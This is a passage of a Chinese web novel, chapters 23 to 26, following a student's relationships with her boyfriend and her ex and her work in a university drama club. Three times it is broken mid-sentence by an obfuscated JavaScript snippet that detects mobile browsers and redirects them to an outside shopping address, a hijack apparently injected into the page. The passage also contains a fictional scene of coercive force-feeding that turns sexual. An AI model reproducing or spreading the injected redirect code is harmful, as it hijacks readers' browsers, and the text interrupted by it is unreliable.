薛谭低头沉默了一会,温暖的夕阳洒满她的后背,却无法探入黑发掩映下那双静谧的眸子,“羁绊......这个词在中文里是束缚的意思吧,那么多人给它起名字,也会有许许多多名为羁绊的奇妙感情拴在它身上吧,如果不是非常开朗又乐于交朋友的性子,大概会觉得很沉重。” 陈铭泽怔愣,视线缓缓上移落在女孩不辨喜怒的脸上,又连忙在她看过来的一瞬间躲开。 只听见女孩笑了一下,很轻的笑声,似乎她的笑容与笑声都十分浅淡,和她时不时很具有穿破力的话语相比,实在不起眼的多。 她很快推翻自己刚刚的话,好像只是开了个玩笑,“不过只是翻译不准确吧。再说了只是动物而已,又没有人的情感,哪里会那么容易被一些莫名其妙的东西压倒。对它来说能得到那么多同学喜爱一定是一件非常幸福的事情就是了,肯定不会有压力的。” “那可不一定。”陈铭泽眨眨眼,不知从哪变出来一根猫条递过来,“动物和动物之间还是有很大差别的,就像帮助了人类很多的狗狗与一只蚂蚁,肯定没办法相提并论的。猫咪是很有灵性的生物,说不定柳花某天深夜里也在为没办法回报‘送饭官’的好意而焦急地睡不着觉呢。” 薛谭担心残渣落在自己身上,就把猫还给陈铭泽了,她一时间没有说话,只是静静看着落在地面上空荡荡的柳树影子,不知是发呆还是在思考什么东西。 不过见女孩完全没有要离开的样子,陈铭泽的心底不知为何泛起一丝满足,嘴角控制不住上扬,尽管平时也经常笑,但这一次他却低下了头装作认真喂小猫吃东西的样子,像是在掩饰什么。 薛谭只是想起了从前的事情。 那是高中的某次休息日,薛谭在小区花园里闲逛时发现了一只停留在落叶上的蜘蛛,出于观察的心理,她把蜘蛛带回了家,还特意用鞋盒子给它做了一个窝。 不过小窝里的绿色生命只有它和一片树叶,实在太过单调,于是薛谭便先把它放在了客厅的桌子上,下楼想要去花园里再拾一些枯枝落叶,或者抓点小虫子喂蜘蛛。没想到拣到一半突然下起了大雨,薛谭很怕暴风雨,连忙抱着一堆战利品狼狈回家。 她艰难地用胳膊肘开门关门,然而淋过雨的皮肤太滑,门没关上,门把手回弹发出响亮的声音,怀里的东西也散落了一地。 那个时候的薛谭还没有意识到不对劲,不慌不忙蹲在地上捡东西,正当她要拾起最后一根树枝时,一只脚踩在了上面——不过很快就再次移开。 “......抱歉。”薛韵轻咳一声,指了指桌子上的盒子:“那是你的蜘蛛吗?” 顶着女人颇为尴尬的目光,薛谭握紧手里的枯枝落叶,低下了头,声若细蚊:“是我在下面捡的。” 薛韵伸出手似乎想要揉揉女孩的发顶,最终却只是下滑然后轻轻落在她的肩头,又很快放下,干巴巴说:“把它扔——我是说放生了吧,这样养不活的,它得在自然环境中才能生存。” 薛谭一直低着头,手里的树枝已经被她折断,“可是外面下着大雨。” 薛韵难得露出惊慌的神色,连忙道歉:“啊,是吗,抱歉,我不知道,那就明天再放走吧。”她这才注意到女孩湿漉漉的衣服,原本还有点僵硬的声音顿时软了下去,“真是,我忙晕了,都没注意到你身上湿透了,快点去洗个澡吧。” 薛谭赌气一般把手里的东西大力拍在门口的小桌子上,看都不看一眼桌上的蜘蛛就上楼了。 徒留下薛韵一人扶额懊恼。 薛谭从记忆里回过神,事到如今当初对于薛韵的那一点抱怨已经烟消云散。毕竟女人工作累了一整天,回到家就在桌子上看到恶心的蜘蛛,还有像个乞丐一样抱着树杈子狼狈不堪的女儿,不生气已经情绪非常稳定了。 她看向身边抱着猫笑得温柔的少男,忽然出声:“你说的很对。” “嗯?”陈铭泽疑惑地挑了挑眉。 “动物与动物之间还是有很大区别的——虽然我并不这么认为,但是总要考虑一下这么想的别人。刚才那些乱七八糟的羁绊言论是我说的不对,z大每个人和柳花之间的感情都非常可贵,不应该被我随意评判。”薛谭是个只要认识到自己的错误就认错很快的人,无论是之前向南采坦白错误,还是这一次,都不会装傻拖沓。 陈铭泽好看的眼睛因为薛谭的话一点点瞪大,直到最后话音落下,他放下猫情不自禁小幅度鼓掌:“学妹......你真的是一个超级真诚的人哇。” “欸!真的嘛!”薛谭最受不了的就是别人的称赞,上次道歉被南采夸赞勇敢,这次道歉被这个人夸真诚,搞得她都不好意思了,连忙摆摆手:“没有没有。” “哈哈哈学妹就不要谦虚了,真的超震惊啊听到这些话,一般人肯定都不好意思讲出来的。” “啊......”薛谭捂住脸,“可是很奇怪吧,把这种话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722150|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说出口。” “怎么会!”少男像是震惊极了,连忙反驳:“真诚怎么会是奇怪,觉得真诚奇怪的人才是真的奇怪才对吧。” 薛谭沉默下来。 反应过来的陈铭泽立刻手忙脚乱解释:“我不是说你的意思啊!是说别人!你已经非常非常优秀了!” 薛谭高兴地笑起来,分别时,还特意问了少男的名字。 “......陈铭泽。” 薛谭礼尚往来称赞:“很好听的名字!是哪两个字?” “......”陈铭泽伤心,陈铭泽无奈,陈铭泽伸手:“我们加个好友备注一下吧。” 薛谭今天心情很不错,回家的路上去附近的甜品店买了四个小蛋糕,三个包装好的被她挂在胳膊上,另外一个最喜欢的草莓味小蛋糕忍不住路上就吃了。 果然甜品什么的最棒了! 心情不好的时候吃点甜品,感觉坏心情全部被赶跑了呢!心情好的时候更适合吃甜品了,快乐双倍! 手机铃声突然响起,薛谭以为是盛晚打电话叫自己回家吃饭,加上手上不方便看都没看就接通了。 “桃桃!”孟文霖帅气的脸庞在手机屏幕上放大,自从分手后他一直保持着像从前一样的通信频率,不过电话打过来的少了,因为知道薛谭大多时候不会接听。此刻能够看到女孩的脸庞实属意外之喜,他整个人都好像不断向外散发粉色小花一样高兴:“桃桃~我好想你啊,昨天晚上还做梦梦见桃桃了。” 薛谭没想到是孟文霖,不过她心情好看谁都顺眼,也就没有挂断,“是吗,梦到我什么了呀?”她随口问。 “梦到我和桃桃拿着录取通知书去大学,结果发现z市一高其实就是z大,我们不是去上大学的,而是去复读的......” 薛谭赶紧呸呸呸,“做的什么不吉利的梦啊,你们男的就是爱瞎想,你说说你这都第几个被拉回去复读的梦了!”她又警告:“你想做梦就做梦,少拉我共沉沦。” 孟文霖哭唧唧:“地狱高中的阴影太大了嘛......” z市一高是典型的为高考而生的学校,四个周休息一天,学习压力非常大。说到这里,万晨霜在这样的学习环境下还能保持精神焕发的精致容貌,还挺厉害的。可孟文霖就不一样了,别看孟文霖大大咧咧像只土狗一样,其实是一个很容易内耗,把所有事情都憋在心里的别扭性子。 薛谭倒是没有孟文霖那么大的阴影,她不是一个有多大上进心的人,所做的也不过是为了不让薛韵担心做到中等靠前的水平。 孟文霖学习比薛谭刻苦,成绩也比她好,当时报考时如果没有薛谭极力劝阻,他可去不了现在更优秀的大学,而是只能来到一个找不到垃圾桶的z大。 想通这一点,薛谭突然看开了当初两个人吵得那场架,不想继续活在孟文霖阴影下是一回事,更重要的是帮助他选择了更好的道路,她可真是个善良的人。 “桃桃发生什么事啦?怎么那么开心。”看见薛谭笑,孟文霖也忍不住笑起来。 “因为今天突然意识到自己也有蛮多优点的。” 薛谭话音刚刚落下,那边马上彩虹屁不断地附和起来。 24. 第 24 章 这一天薛谭和孟文霖两人谈了很多,从天马行空的梦境,到属于他们之间点点滴滴的回忆,再到现在各自的校园生活,还有新出的漫画、游戏...... 他们无话不谈,摊开过往的龌龊与矛盾,好像回到了小学二年级时那个由乒乓球台构成的小家,阳光驱散晨雾再次照耀进去,天光大亮,温馨动人。 薛谭坐在小区楼下的长椅上听电话,小蛋糕已经吃完,纸杯被她无意识地折叠到硬实的一小团,时而与电话那头会心一笑,时而神情嗔怒,鲜活的色彩在她眼眸流淌。 天刚刚擦黑,给薛谭打电话不接发消息也不回的盛晚焦急跑下楼,首先映入眼帘的便是这样一副景象。 因为过度紧张而吊起的一颗心终于放下,盛晚称得上劫后余生的捂着眼松了一口气,良久才放下手抬脚朝女孩走去。 “谭谭。” 薛谭没听见,他又叫了一声,女孩才抬头望过来,也是在这时他才意识到她在打电话。 盛晚赶紧闭上嘴巴生怕打扰到女孩,安静坐在她身边。 手机里传出清朗的男声:“桃桃?” 盛晚放在腿上的手一下子攥紧。 侧头与男友对视的薛谭被电话里的声音叫回神,“我在呢。”她回了孟文霖一句,又扭头看盛晚一眼,少男只是神色如常地看着她,笑容温柔和煦,哪怕在黑暗的环境里也如阳光般耀眼。 奇怪,她怎么觉得盛晚刚才不是这个样子的。 “是遇到认识的人了嘛?”桃桃难得接他一次电话,他真想一直打到寒假放假,但最终还是贴心地说:“那要不先挂了吧,桃桃也该吃饭了吧?晚饭准备吃什么?”好吧,又忍不住想要继续聊下去了。 薛谭如实回答,她并不觉得这有什么好隐瞒的,毕竟孟文霖是自己最好的朋友,“是盛晚。”说完这句话,她又问盛晚:“今天晚上吃什么?” 我才是谭谭男朋友。我才是谭谭男朋友。我才是谭谭男朋友。我才是谭谭男朋友...... 盛晚不断在心底告诫自己冷静,掩藏在另一边的拳头因为太用力而发抖,面上却是一派祥和平静,牵起与往日无二的笑容:“煮了粥和玉米,炒了四个菜,有谭谭喜欢的红烧茄子。” “欸——?”薛谭举起挂在胳膊上的纸袋,示意盛晚拿下来,“做那么丰盛啊,早知道不买那么多蛋糕了。” “没事的呀。”盛晚笑容贤良地从薛谭胳膊上轻轻取下纸袋,安慰:“反正明天没有课,今天可以晚睡一点当宵夜。” “是哦。”薛谭一头倒在盛晚肩上,倒苦水:“这几天好忙,我都忘了明天是周六。” 盛晚半边身体都因为薛谭的动作酥麻了一瞬,他也由此与女孩手机里的盛晚打了个照面。他伸手搂住女孩,轻柔的吻落在她的额头,“谭谭辛苦了,今晚好好放松一下吧。”他说这话时冲女孩眨了眨眼,两人——甚至手机里的第三人都心知肚明该怎么放松。 薛谭难得不自在地咳了一下,起身重重锤一拳盛晚,少男疼的低低叫出来,她正色:“说了很多遍,光天化日之下不要亲我。” 盛晚顿时委屈地垂下眼,可怜兮兮地辩驳:“我是看现在天黑了嘛......” “那也不行!只要在外面就绝对不能亲我!”本来和盛晚走在一起就足够引人注目了,要是再做出什么亲密举动被人拍下来发到网上就不好了。 盛晚反而亲昵地环住薛谭的腰,下巴搁在女孩肩头,摇摇晃晃撒娇:“那抱抱呢?” 不用转头就能感受到少男黏糊糊的视线,薛谭实在受不了了挂断电话,转而捧住他的脸狠狠亲了一口,“什么都不行,你在外面什么都不准做,必须乖乖听我的指令。” 盛晚闷笑出声,将头埋在薛谭颈窝。 薛谭饭量很大,晚上吃过饭后和盛晚一人解决了一份蛋糕,又了打很长时间的游戏,盛晚则闲不下来地将家里全部收拾了一遍。 要说起完美无缺的盛晚有什么做不好的事情的话,那一定是打游戏了,连薛谭都没有预想到盛晚打游戏能那么菜。 以前都是孟文霖陪薛谭打游戏,两人分手后薛谭第一次和盛晚打游戏时,一个关卡死了整整十二次,要不是其间盛晚一直跪地求饶,薛谭早就气得拿游戏机砸破这个笨蛋的头了。之后盛晚倒是也想过练习打游戏的技术,可惜蠢货就是蠢货,无论怎么练和薛谭在一起都只有拖后腿的份,自那之后薛谭就再也不许他碰游戏机了。 “盛晚!”凌晨两点多,薛谭打游戏打累了让盛晚把最后一块蛋糕拿过来,揉揉眼睛看着焕然一新的家,她难得慷慨地叫盛晚过来一起吃蛋糕。 不料少男摆摆手拒绝了:“不行的谭谭,我那么晚吃甜品会长胖的。” “哈?”薛谭分蛋糕的动作停下,脸色沉沉地盯着盛晚:“你不是说事事以我为先吗?为什么还要拒绝我?” 她大力把盛晚拉倒在沙发上,按住惊慌失措的少男,膝盖顶在他的腹部,拿起桌子上的蛋糕就往他嘴里塞:“让你吃你就吃啊,为什么、为什么要拒绝我的好意?明明你是爱我的不是吗?明明你说过一定会乖乖听我的话,为什么到这个时候又来拒绝我对你的喜爱?” 盛晚呜呜呜想要讲话,可一张嘴就被蛋糕堵住。 薛谭伤心地看着在她手下挣扎的盛晚,实在想不明白他为什么要一次又一次地骗她,什么为她是从,根本就是在哄人吧!为什么总是不听她的话呢?她将蛋糕全部塞进少男嘴里,伸手捂住他的嘴,俯身对上一双红彤彤流着泪水的眼睛,委屈质问:“你哭什么?你在怨我吗?” 盛晚立刻摇摇头,被心爱之人粗暴对待的舒爽让他控制不住流下生理性泪水,透过眼模糊的水雾,女孩悲伤的面孔逐渐变得清晰,他愧疚得心如刀绞,想要开口解释却被女孩死死捂住嘴无法出声,只得伸出双手努力环抱住女孩贴着自己的身体。 “盛晚......”薛谭凑近了散发着甜腻气息的少男,深情款款地注视着他,“让你吃蛋糕是因为心疼你干了一晚上的活呀,我做的一切都只是因为太爱你了,心疼你,所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724856|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想着让你开心一点。什么胖不胖的,你根本不会长胖的知道吗?不要说这种话,我不喜欢听。” 她声音渐渐低下去:“我知道的,其实你不是这个意思对不对?你也是担心自己长胖了不好看......但是没关系,只要在长胖之前死掉就可以了,这些都不是需要担心的问题啊。你根本什么都不需要想,只需要乖乖听我的话,按照我说的做就好了,好吗?” 盛晚极其缓慢地眨了一下眼,泪水再次控制不住涌出来。 谭谭......真的好爱他...... 薛谭另一只手抚摸上他好看的眉眼,就这么来回摸了许久,最终停留在左眼皮上方,轻轻按压—— 盛晚下意识想要闭上眼睛,却在彻底阖上之前猛地睁开。 薛谭终于露出满眼的笑容,确认:“你以后一定会乖乖按照我说的做,对吧?” 盛晚连忙点头。 薛谭压在他双唇上的手逐渐松开,上面沾了许多奶油,不等盛晚反应过来她就再次压下手掌,然后一点点下移。 白色的奶油从下巴处缓缓向下延伸,掠过快速滚动的性感喉结,直到挺拔的胸膛间消失殆尽。 薛谭双手撑在盛晚鼓囊囊的胸肌上起身,垂眸看着明显不太正常的少男。 奶油划出的痕迹在他身上并不明显,少男雪白的肌肤甚至比那条随着他剧烈呼吸而上下浮动的长痕还要亮眼。 初见时浑身只有黑白两色的少男如同圣洁的天使,优美的精灵,不染尘俗,光辉万丈。 可是现在呢? 衣衫凌乱,围裙掀起被绑住双手,两颊的潮红惹人浮想联翩,甚至整个身子都泛起烫人的淡粉色。 天天勾引她,真是个不要脸的男人,薛谭心想。 这天之后,孟文霖常常打过来电话,两人之间好像达成了某种从前没有意识到的和解,薛谭虽说不会次次都接听,但偶尔有时间了通话,每一次两人都会说很久。 对此盛晚起初有些不满,他怕薛谭觉得自己太小心眼太自私,只是小心翼翼隐晦地提过一两次。薛谭不是对感情懵懵懂懂的小孩,能够看出来盛晚在吃醋,并不生气少男的暗示,反而很喜欢他这个样子。 不过吃一次醋是情趣,吃得多了就是不识抬举了。 盛晚深知这个道理,因此提过几次后见到女孩并不放在心上,也就没有再说了。毕竟孟文霖只是个过去式了,被谭谭抛弃了的男人都是垃圾,根本不配成为他们之间感情的阻碍,不值得为了他惹谭谭生气。说不定这就是孟文霖那个贱男人故意的呢!故意挑衅他等着他上钩,然后妄想他被谭谭厌烦自己再小三上位。 他在心底鄙夷孟文霖手段拙劣,又暗自咒骂他是个整天只知道破坏别人感情的贱种,全然忘了自己就是小三上位。 薛谭不懂两个男人之间的弯弯绕绕,在她看来,男的怎么想都无所谓,只要在她面前乖乖的不惹事就行,毕竟—— 她可是有朋友有同好有社团活动,现实生活超级充实的阳光大学生啊! 25. 第 25 章 薛谭最近很忙,过段时间有个话剧社举办的晚会,晚会节目单都是从前学姐学哥们编写的剧本,由今年大一新来的演员演出,而他们这些新编剧需要做的就是到演员排练的现场一起跟剧本,进行指导或者再在原先的基础上进行剧本的修改。不过不需要每天都去,薛谭和编剧部另外几名成员一起轮流,每人每周只用去两次就可以。 除此之外,学校的元旦晚会也需要有新的剧本进行演出。由于十二月下旬就是期末周了,为了不耽误大家复习,所以经过商讨一致决定在十二月中旬之前写好剧本。 令薛谭苦闷的是,因为大家白天课程不一样,一般开会商讨剧本都是在晚上九点以后,不住宿舍的薛谭还要换好衣服大老远从家里赶到学校食堂。 “外面那么冷的嘛?”陈铭泽看着眼镜蒙了一层雾气匆匆赶来的薛谭,递过去纸巾。 薛谭有点洁癖,没有要他的,自己从口袋里拿出卫生纸擦了擦眼镜,刚刚坐下来便被身边的女人一把搂住肩膀被迫靠在她怀中。 糟糕!没戴眼镜看不清楚,一不小心坐在了部门最可怕的郭斯洁旁边! 薛谭欲哭无泪,苦笑着与她打招呼:“学姐好。” “嗯——?”郭斯洁拉长声音猛然凑近,眼看两人额头将要撞到一起,薛谭赶紧往后仰与她保持距离。 女人搓了搓下巴,紧紧盯着薛谭,“你很怕我呀学妹。” “没有没有!”薛谭连忙摆摆手,不敢挣脱女人的胳膊,不适应地扭了扭,干笑两声:“我们赶快开会吧。” “好呦!”她拍了一下薛谭的后背,站起身看了一圈众人,“你们要喝什么?奶茶还是果汁?” 另外一位大二的学姐颇为无语地看着她,“要买你不早点买,现在都这么晚了食堂窗口都歇业了。” “别这么说嘛!”郭斯洁夸张地眨眨眼,故作委屈,“我也是刚刚看见我们被冻得不行的薛谭妹妹才想起来的呀,再说了我今天满课!满课欸!下了课就赶紧飞奔到这里,哪有时间买东西。” 薛谭不知道话题怎么会落在自己身上,连忙说:“我不冷的!要不我们直接开始吧,都这么晚了。” “不行,我去商业街买!” 郭斯洁拉开凳子往外走,被刚才说话的学姐拉过来痛斥:“喂!我看你是打算逃掉会议吧,少想摸鱼,做部长的能不能有个部长样子!” “哎呦~不要那么严肃嘛,我就是想活跃一下气氛来着。”郭斯洁见她发火,立刻肉麻地抱住她一条胳膊撒娇。 二年级只有郭斯洁,李铭泽,还有刚才那位看起来十分可靠的学姐黄素辛。 “还有我哦。”坐在薛谭对面的女声抬起手,“我也是二年级的。大一不努力,今年只能来参加社团混个素质分了。” “喂喂喂!”郭斯洁拍桌子:“能不能把我这个部长放在眼里啊,知道你们都是为了分来的,但是没必要那么冷静地当着我的面讲出来吧,也太不给我面子了,真是!”她又搂住薛谭,“哎呀,还是我们薛谭妹妹有礼貌又懂事。” 薛谭在郭斯洁搂上来的一瞬间瞪大眼睛,不知道该说些什么只好跟着一起笑。 时间比较紧张,他们此次的任务需要确定好元旦晚会剧本的核心梗以及大致的剧情走向,之后分组进行创作。 一到工作的时候,虽然郭斯洁依旧笑嘻嘻的每个正经样子,但是薛谭还是能够感受到她身上由内而外散发出来的凌冽气质,哪怕插科打诨也会让人觉得她是个风风火火做任何事都很快的人。 她并不按照顺序让每个人发言,而是随意提问围着桌子的某个人。任何人被她那双好像能洞悉一切的眼眸盯着时,都不能继续在团队里装死划水,必须要打起十二分的精神来应对她的提问。 “那么——薛谭!”郭斯洁随着嘴上的话扭头看向身边的薛谭,一瞬间所有人都被她的声音吸引看过来。 薛谭下意识咽口水,紧张地不行。 “你有什么想法呢?”女人长发随意扎起,笑意挂在脸上。 早在郭斯洁提出让大家说说对主题的建议时薛谭就在脑海里苦思冥想了,此刻被问起虽然紧张但是并不慌乱,庆幸自己是最后一个回答的,下一秒忽然想到郭斯洁会不会是刻意把自己留到最后的。 薛谭抬眸见一大圈人围着自己看,连忙回过神将早已经在脑海里铺展开来的想法娓娓道出。 因为是面向大学生的校园演出话剧,所以除了特定节日需要外,平时的剧本都是热梗满天飞以搞笑为主。比如薛谭现在同时跟进的那个以前学姐的剧本,里面虽然是古代神话背景,但是却用到了许多网络热梗以及英语四六级、期末周、八百米这些与大学生密切相关的元素。甚至这个剧本里对付妖怪的武器还是z大的校徽。 她想的核心梗是西幻背景里贵族少女的成长之路。 主人公是一个大家族的继承人,因为太太太太热爱大自然,以至于每天眼里心里脑子里全部都是外面的花草树木和小动物们,将家里人和可爱的未婚夫无视了个彻底。非常宠爱她的祖母和母亲为了让主人公开心一点,将她和她的未婚夫送到了魔法学院学习。 在魔法学院里,主人公凭借强大的实力和可爱的性格,认识了许多志同道合的好朋友。后来魔兽入侵人类世界,主人公协同小伙伴们与邪恶势力战斗,最终取得胜利拯救了世界,成为举国追捧的大英雌。 “很不错嘛!”郭斯洁双手一起竖大拇指肯定:“经典的骑士拯救世界梗,女性主角为其增添了几分新意。而且是很温情的故事啊,非常适合元旦晚会哦。” 女人毫不吝啬的夸奖让薛谭有些害羞。 “我觉得这个核心梗就很棒!”郭斯洁拍掌而起,看向众人:“你们觉得呢?用哪一个核心梗?” “是很不错,不过......”其中一个男同学提出疑问:“这也不搞笑啊。” 李铭泽解释:“只是先选定核心梗而已,至于搞笑元素可以后来慢慢加。我也觉得这个很棒。” “对啊。”黄素辛点头:“一步一步慢慢来,而且我们还能在这里面加个保护环境的主题。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728897|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短暂的商讨后很快决定采用薛谭提出的核心梗。除了因为少女拯救世界的温情故事很契合元旦主题外,另外一个重要原因就是薛谭所提出的故事梗概最完善。别的人都是想一个大概的灵感,比如家具拟人,宿舍风云什么的,而薛谭是直接将一个故事从头到尾的大概剧情都给想出来了,能为大家节约不少时间。 郭斯洁在电脑上做好记录,“OK,下面就是集思广益了,大家有什么能够加到里面的搞笑想法都可以提出来。” 薛谭提议可以用一些网络热梗来表现主人公对大自然的热爱,另外还可以把主人公设定成一个三无少女,在与朋友们的相处中因为缺乏常识而闹出不少笑话。 其余也有几位女生提出自己的想法,经过半个小时的讨论与增增改改,主要剧情点都完善的差不多了。 故事主要分成三幕演绎,第一幕是主人公去魔法学院之前,第二幕是在魔法学院里和朋友们发生的许多欢乐事情,第三幕则是打败怪兽,接受国王的嘉奖。 薛谭和那位今年才加入社团的大二学姐负责第一幕剧本的编写,李铭泽作为有经验的前辈也会加入她们,不过并不负责剧本的编写,只提供指导意见。 “好了好了!”郭斯洁拍拍手,“今天辛苦大家了,下面几天......嗯,也要辛苦大家一下了,毕竟时间紧迫,下周三之前要把剧本写好交给我。记住!”她伸出一根手指环视众人,“是完整的剧本,不要一幕一幕的发给我。可以解散啦,今天都辛苦了。” 大家三三两两离开,郭斯洁叫住薛谭,李铭泽闻声也放慢脚步。 薛谭以为还有什么工作要安排,停下脚步转身看向来人,不想下一秒就被女人疯狂揉揉搓搓。 “哎呀,薛谭小学妹真是我的天使,部门那么多人就属你干活最积极了。”她挽着薛谭的胳膊一起下楼,“本来以为要拖到十点半才能确定好主题,没想到今天那么早就把故事情节全部想好了。真的多亏了你啊,虽然我很懒但果然还是更喜欢勤劳的人啊,要是我身边的人都能像你干活那么积极就好了......” 被郭斯洁拉着听她讲个不停的薛谭一头雾水,不太明白自己到底做了什么让女人如此称赞的事,但不妨碍她谦虚摆手满口没有没有。 “因为啊。”郭斯洁解释:“其实你也明白吧,加入编剧部不一定是真的喜欢或者擅长写剧本,大部分都是因为不想去演话剧啦。所以一般开会让大家商量事情时,大家都会保持沉默或者被动发言。但是!” 她突然激动起来,目光灼灼地盯着薛谭,“但是只有你在开会前认真思考了我布置下去的任务,而且根本没有意识到自己是出头鸟地叽里咕噜说一大堆!” “欸——?!”薛谭震惊,“我我我我竟然是出头鸟嘛!” “当然啦!”郭斯洁忍不住捧腹大笑:“我以为你只是胆子大,原来是根本没有意识到嘛。哎呀,干脆你去演那个没常识的主人公好啦!” “不不不不不——”薛谭疯狂摇头:“我不行!我绝对不行的!” 26. 第 26 章 和薛谭合作写剧本的学姐把“蹭素质分”三个字贯彻到底,不过本来字数就没有多少,加上这是薛谭的灵感,于是干脆由薛谭写好剧本她再进行润色。女人很高兴同意了。 薛谭好不容易跟完上一个古代神话背景的剧本,又开始着手创作新的剧本,创作完成后又要从头到尾跟进这个新剧本,每天要做的事都满当当的。 令人感到惊喜的是,出演新剧本主角的正是薛谭的室友张礼鸢。 女孩看到薛谭后很惊喜,拉着卓钦一路小跑过来,明媚的笑容里透露着隐隐的期待:“薛谭,你也来参演话剧吗?” “不是。”薛谭摇头,举了举手里打印出来的剧本,“我是编剧。” “剧本原来是你写的嘛!”张礼鸢惊讶,“你好厉害呀薛谭,这个剧本写的特别好,又搞笑又有深度,女主角还非常有魅力。” “没有啦。”薛谭连忙澄清:“我只是负责其中一小部分,这是六位编剧共同创作的。” “喔?原来是这样啊。”张礼鸢依旧很惊喜,她戴了美瞳,双目像是裹了一层亮莹莹的糖浆,柔软亲切:“那你负责的是哪一部分啊?” 薛谭抿嘴浅笑:“第一部分。”又补充道:“我只是写了第一幕的大概剧情,多亏了有大二的学姐帮助我精修了很多。” “那也有你的参与嘛!”张礼鸢开玩笑地撞了一下薛谭的肩膀,“写出那么好的剧本真是太感谢了,放心,我会好好演你的女主角的。” 薛谭也亲昵地鼓励她:“加油加油,我相信你哦。” 目光自然落在卓钦身上,不等她开口,张礼鸢便解释:“她是陪我来的。” “嗯。”卓钦看向薛谭,朝她点点头。 两人并肩从薛谭身边掠过,不知为何,她总觉得卓钦忽然与自己疏远了许多。啊当然,虽然从前也不是很好的关系就是了,但是起码两个人见面时卓钦会笑着和她打一声招呼,可刚刚女孩却只是轻轻看了她一眼,再没有别的反应。 不对不对不对! 薛谭赶紧猛摇头把脑子里奇怪的想法赶出去,真是,她到底在想些什么啊,这才是正常的社交距离才对吧!明明自己之前还在为卓钦过分的热情感到烦恼,现在两个人疏远了她应该感到开心才对嘛。她又没有资格要求所有人都对自己像薛韵一样殷勤讨好。 啊啊啊虽然但是,道理是这个道理,但薛谭还是没有办法控制自己不去为她与卓钦之间突然拉远的距离焦虑不安,到底是什么原因呢?为什么冷淡来得那么突然,是不是她在无意中做了什么错事惹她不开心了?还是说卓钦发现她是一个很糟糕的人了?不不不,她也没有很糟糕才对吧...... 可要是真的不糟糕卓钦就不会这个样子了。 说到底还是她的错。 薛谭无可自拔陷入深深的自厌情绪中。 “薛谭?”李铭泽提着两杯咖啡走过来,自从知道女孩相较于奶茶更喜欢咖啡后,每次见面他都会带上一杯咖啡。连同纸袋一起递给失魂落魄的女孩,“发生什么事了?不开心吗?” 她的伤心竟然那么明显么! 薛谭马上收起情绪,接过咖啡猛吸了几口,而后长呼出一口气,“我没事!” “真的吗——?”李铭泽拖长声音凑近了,冲她眨了眨眼,不过几秒就正回身子,“嗯,如果你的表情没那么悲壮的话,说不定这句话可信度会更高哦。” 薛谭不服气反驳:“这是坚毅!坚毅!” “哈哈哈好好。”李铭泽拳头捂住嘴闷声笑着,没有多问。 薛谭很喜欢听李铭泽说话,他的声音很好听,不同于流行的充满磁性的嗓音,反而比之更加圆润柔和,却又不过分可爱。每次开口——尤其是带着笑意讲话时,总会让人无端想起春日原野,绿浪叠叠,和风亲吻花瓣。 由于这个原因,薛谭和李铭泽讲话时总会比听别的男生讲话多几分耐心和认真,不过这也导致了她全部注意力都放在他好听的声音上面,根本不知道他巴拉巴拉讲了些什么东西。 “所以说——”李铭泽在薛谭面前挥挥手,“要一起去吗?” “嗯?”薛谭回过神,“你说什么?” 李铭泽颇为无奈地看了一眼女孩,视线向下落在被水汽浸湿的纸袋,从女孩手里拿过咖啡褪去纸袋,细心把杯壁擦干净后又重新裹上一层纸,把湿哒哒的纸袋扔掉,“想问问你知道为什么咖啡没有杯套吗?” 薛谭疑惑不解:“你不是说要一起去什么的吗?”难道是她听错了? 少男微微弯腰,与薛谭随上视线,帅脸突然在眼前放大,她忍不住吸了吸鼻子,好香的帅哥。 “刚才是说《无头boss爱上我》电影这周末上映,要不要一起去看?”他认真盯着她。 《无头boss爱上我》是薛谭一直在玩的那款把反派头砍下来才能通关的游戏,由它改变成的同名电影最近就上映了。前几日聊天时无意间发现李铭泽也很喜欢这个游戏。不仅如此,他喜欢的许多游戏和漫画与薛谭的爱好重合度超级高,两人相见恨晚,很快成为了很能玩得来的同好。 “当然要去!”薛谭握拳肯定:“我可是期待了很久大电影的,听说电影结局和游戏完全通关后的cg完——全不一样,我倒要看看导演改成什么样了。要是敢抢走勇者的高光,我可要在论坛上狠狠diss他!” 李铭泽一眨不眨地看着薛谭,分明两个人离得也不是非常近,然而女孩面部每一个细微的动作都好像电影画面一般在他眼里不断放大放缓,简直叫人...... 怦然心动。 “嗯......”薛谭几口把咖啡喝光,“所以说为什么没有杯套?”久久没得到回答,她歪了歪头:“李名字?” “......”所有的春心萌动被那三个字打回原形,李铭泽扶额,“我叫李铭泽,铭记的铭,三点水的泽。” 